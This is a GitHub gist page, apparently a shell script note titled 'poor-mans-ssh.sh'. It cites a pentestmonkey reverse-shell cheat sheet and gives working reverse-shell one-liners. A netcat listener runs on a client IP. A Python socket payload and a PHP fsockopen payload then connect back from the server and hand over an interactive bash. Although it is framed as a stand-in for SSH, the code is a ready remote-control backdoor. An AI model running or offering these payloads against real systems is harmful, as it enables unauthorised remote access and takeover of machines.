Skip to content

Instantly share code, notes, and snippets.

@castanley
Forked from dergachev/poor-mans-ssh.sh
Created December 15, 2015 22:04
Show Gist options
  • Select an option

  • Save castanley/ecc324017c04dda9ca1b to your computer and use it in GitHub Desktop.

Select an option

Save castanley/ecc324017c04dda9ca1b to your computer and use it in GitHub Desktop.
# http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
# on the CLIENT, run the following:
# nc -l 12345
# then on the SERVER
CLIENT_IP=192.168.2.183
CLIENT_PORT=12345
# start the "reverse shell"
python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('$CLIENT_IP',$CLIENT_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
# or in php...
php -r "fsockopen('$CLIENT_IP',$CLIENT_PORT); exec('/bin/bash -i <&3 >&3 2>&3');"
# now go to the CLIENT
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment